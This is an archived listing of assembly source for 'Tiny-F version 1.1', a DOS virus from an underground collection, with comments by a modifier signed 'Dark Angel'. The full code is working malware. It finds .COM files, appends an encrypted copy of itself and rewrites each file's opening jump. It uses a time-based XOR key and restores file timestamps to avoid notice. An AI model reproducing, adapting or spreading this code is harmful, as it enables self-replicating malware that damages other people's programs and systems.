home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tiny-f.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  7.7 KB  |  183 lines

  1. tinyv   SEGMENT BYTE PUBLIC 'code'
  2.  
  3.         ASSUME  CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv
  4.  
  5.  
  6.  
  7.         ORG     100h
  8.  
  9.  
  10.  
  11. DOS     EQU     21h
  12.  
  13.  
  14.  
  15. start:  JMP     pgstart
  16.  
  17. exlbl:  db      0CDh, 20h, 7, 8, 9
  18.  
  19. pgstart:CALL    tinyvir
  20.  
  21. tinyvir:
  22.  
  23.         POP     SI                      ; get SI for storage
  24.  
  25.         SUB     SI,offset tinyvir       ; reset SI to virus start
  26.  
  27.         MOV     BP,[SI+blnkdat]         ; store SI in BP for return
  28.  
  29.         ADD     BP, OFFSET exlbl
  30.  
  31.         CALL    endecrpt
  32.  
  33.         JMP     SHORT realprog
  34.  
  35.  
  36.  
  37. ;-----------------------------------------------------------------------------
  38.  
  39. ; nonencrypted subroutines start here
  40.  
  41. ;-----------------------------------------------------------------------------
  42.  
  43.  
  44.  
  45. ; PCM's encryption was stupid, mine is better - Dark Angel
  46.  
  47. endecrpt:
  48.  
  49. ; Only need to save necessary registers - Dark Angel
  50.  
  51.         PUSH    AX                      ; store registers
  52.  
  53.         PUSH    BX
  54.  
  55.         PUSH    CX
  56.  
  57.         PUSH    SI
  58.  
  59. ; New, better, more compact encryption engine
  60.  
  61.         MOV     BX, [SI+EN_VAL]
  62.  
  63.         ADD     SI, offset realprog
  64.  
  65.         MOV     CX, endenc - realprog
  66.  
  67.         SHR     CX, 1
  68.  
  69.         JNC     start_encryption
  70.  
  71.         DEC     SI
  72.  
  73. start_encryption:
  74.  
  75.         MOV     DI, SI
  76.  
  77. encloop:
  78.  
  79.         LODSW                           ; DS:[SI] -> AX
  80.  
  81.         XOR     AX, BX
  82.  
  83.         STOSW
  84.  
  85.         LOOP    encloop
  86.  
  87.  
  88.  
  89.         POP     SI                      ; restore registers
  90.  
  91.         POP     CX
  92.  
  93.         POP     BX
  94.  
  95.         POP     AX
  96.  
  97.         RET
  98.  
  99. ;-----end of encryption routine
  100.  
  101. nfect:
  102.  
  103.         CALL    endecrpt
  104.  
  105.         MOV     [SI+offset endprog+3],AX; point to data
  106.  
  107.         MOV     AH,40H                  ; write instruction
  108.  
  109.         LEA     DX,[SI+0105H]           ; write buffer loc    |
  110.  
  111.         MOV     CX,offset endprog-105h  ; (size of virus)  --\|/--
  112.  
  113.         INT     DOS                     ; do it!
  114.  
  115.         PUSHF
  116.  
  117.         CALL    endecrpt
  118.  
  119.         POPF
  120.  
  121.         JC      outa1                    ; error, bug out
  122.  
  123.         RET
  124.  
  125. outa1:
  126.  
  127.         JMP     exit
  128.  
  129.  
  130.  
  131.  
  132.  
  133. ;-----------------------------------------------------------------------------
  134.  
  135. ;    Unencrypted routines end here
  136.  
  137. ;-----------------------------------------------------------------------------
  138.  
  139. realprog:
  140.  
  141.         CLD                             ; forward direction for string ops
  142.  
  143. ; Why save DTA?  This part killed.  Saves quite a few bytes.  Dark Angel
  144.  
  145. ; Instead, set DTA to SI+ENDPROG+131h
  146.  
  147.         MOV     AH, 1Ah                 ; Set DTA
  148.  
  149.         LEA     DX, [SI+ENDPROG+131h]   ;  to DS:DX
  150.  
  151.         INT     21h
  152.  
  153.  
  154.  
  155.         LEA     DX,[SI+fspec]           ; get filespec (*.COM)
  156.  
  157.         XOR     CX, CX                  ;        ||   (clear regs)
  158.  
  159.         MOV     AH,4EH                  ;        ||   (find files)
  160.  
  161. mainloop:                               ;       \||/
  162.  
  163.         INT     DOS                     ;    ----\/----
  164.  
  165.         JC      hiccup                  ; no more files found, terminate virus
  166.  
  167. ; Next part had to be changed to account for new DTA address - Dark Angel
  168.  
  169.         LEA     DX, [SI+ENDPROG+131h+30]; set file name pointer
  170.  
  171.                                         ; (offset 30 is DTA filename start)
  172.  
  173.         MOV     AX,3D02H                ; open file
  174.  
  175.         INT     DOS                     ; do it!
  176.  
  177.         MOV     BX,AX                   ; move file handle to BX
  178.  
  179.         MOV     AH,3FH                  ; read file
  180.  
  181.         LEA     DX,[SI+endprog]         ; load end of program (as buffer pntr)
  182.  
  183.         MOV     DI,DX                   ; set Dest Index to area for buffer
  184.  
  185.         MOV     CX,0003H                ; read 3 bytes
  186.  
  187.         INT     DOS                     ; do it!
  188.  
  189.         CMP     BYTE PTR [DI],0E9H      ; check for JMP at start
  190.  
  191.         JE      infect                  ; If begins w/JMP, Infect
  192.  
  193. nextfile:
  194.  
  195.         MOV     AH,4FH                  ; set int 21 to find next file
  196.  
  197.         JMP     mainloop                ; next file, do it!
  198.  
  199. hiccup: JMP     exit
  200.  
  201. infect:
  202.  
  203.         MOV     AX,5700h                ; get date function
  204.  
  205.         INT     DOS                     ; do it!
  206.  
  207.         PUSH    DX                      ; store date + time
  208.  
  209.         PUSH    CX
  210.  
  211.         MOV     DX,[DI+01H]             ; set # of bytes to move
  212.  
  213.         MOV     [SI+blnkdat],DX         ;  "  " "    "   "   "
  214.  
  215. ; Tighter Code here - Dark Angel
  216.  
  217.         XOR     CX,CX                   ;  "  " "    "   "   " (0 here)
  218.  
  219.         MOV     AX,4200H                ; move file
  220.  
  221.         INT     DOS                     ; do it!
  222.  
  223.         MOV     DX,DI                   ; set dest index to area for buffer
  224.  
  225.         MOV     CX,0002H                ; two bytes
  226.  
  227.         MOV     AH,3FH                  ; read file
  228.  
  229.         INT     DOS                     ; do it!
  230.  
  231.         CMP     WORD PTR [DI],0807H     ; check for infection
  232.  
  233.         JE      nextfile                ; next file if infected
  234.  
  235. getaval:                                ; encryption routine starts here
  236.  
  237. ; My modifications here - Dark Angel
  238.  
  239.         MOV     AH, 2Ch                 ; DOS get TIME function
  240.  
  241.         INT     DOS                     ; do it!
  242.  
  243.         OR      DX, DX                  ; Is it 0?
  244.  
  245.         JE      getaval                 ; yeah, try again
  246.  
  247.         MOV     word ptr [si+offset en_val], DX ; Store it
  248.  
  249. ; Tighter code here - Dark Angel
  250.  
  251.         XOR     DX,DX                   ; clear regs
  252.  
  253.         XOR     CX,CX                   ;   "    "
  254.  
  255.         MOV     AX,4202H                ; move file pointer
  256.  
  257.         INT     DOS                     ; do it!
  258.  
  259.         OR      DX,DX                   ; new pointer location 0?
  260.  
  261.         JNE     nextfile                ; if no then next file
  262.  
  263.         CMP     AH,0FEH                 ; new pointer loc too high?
  264.  
  265.         JNC     nextfile                ; yes, try again
  266.  
  267.         CALL    nfect
  268.  
  269.         MOV     AX,4200H                ; move pointer
  270.  
  271.         XOR     CX, CX                  ; clear reg
  272.  
  273.         MOV     DX,OFFSET 00001         ; where to set pointer
  274.  
  275.         INT     DOS                     ; do it!
  276.  
  277.         MOV     AH,40H                  ; write to file
  278.  
  279.         LEA     DX,[SI+offset endprog+3]; write data at SI+BUFFER
  280.  
  281.         MOV     CX,0002H                ; two bytes (the JMP)
  282.  
  283.         INT     DOS                     ; do it!
  284.  
  285.         MOV     AX,5701h                ; store date
  286.  
  287.         POP     CX                      ; restore time
  288.  
  289.         POP     DX                      ; restore date
  290.  
  291.         INT     DOS                     ; do it!
  292.  
  293. exit:
  294.  
  295.         MOV     AH,3EH                  ; close file
  296.  
  297.         INT     DOS                     ; do it!
  298.  
  299.  
  300.  
  301. ; Return DTA to old position - Dark Angel
  302.  
  303.  
  304.  
  305.         MOV     AH, 1Ah                 ; Set DTA
  306.  
  307.         MOV     DX, 80h                 ;  to PSP DTA
  308.  
  309.         INT     21h
  310.  
  311.  
  312.  
  313.         JMP     BP
  314.  
  315.  
  316.  
  317. ;-----------------------------------------------------------------------------
  318.  
  319. ; encrypted data goes here
  320.  
  321. ;-----------------------------------------------------------------------------
  322.  
  323.  
  324.  
  325. fspec   LABEL   WORD
  326.  
  327.         DB      '*.COM',0
  328.  
  329. nondata DB      'Tiny-F version 1.1'    ; Program identification
  330.  
  331.         DB      'ÿÇ╫@&ε╖│╜δ'          ; author identification
  332.  
  333.         DB      'Released 10-19-91'     ; release date
  334.  
  335. endenc  LABEL   BYTE                    ; end of encryption zone
  336.  
  337. ;-----------------------------------------------------------------------------
  338.  
  339. ; nonencrypted data goes anywhere after here
  340.  
  341. ;-----------------------------------------------------------------------------
  342.  
  343.  
  344.  
  345. blnkdat LABEL   WORD
  346.  
  347.         DW      0000H
  348.  
  349.  
  350.  
  351. ; Only en_val is needed now because of new encryption mechanism
  352.  
  353. en_val  DW      0h
  354.  
  355.  
  356.  
  357. endprog LABEL   WORD
  358.  
  359. tinyv   ENDS
  360.  
  361.         END     start
  362.  
  363.  
  364.  
  365.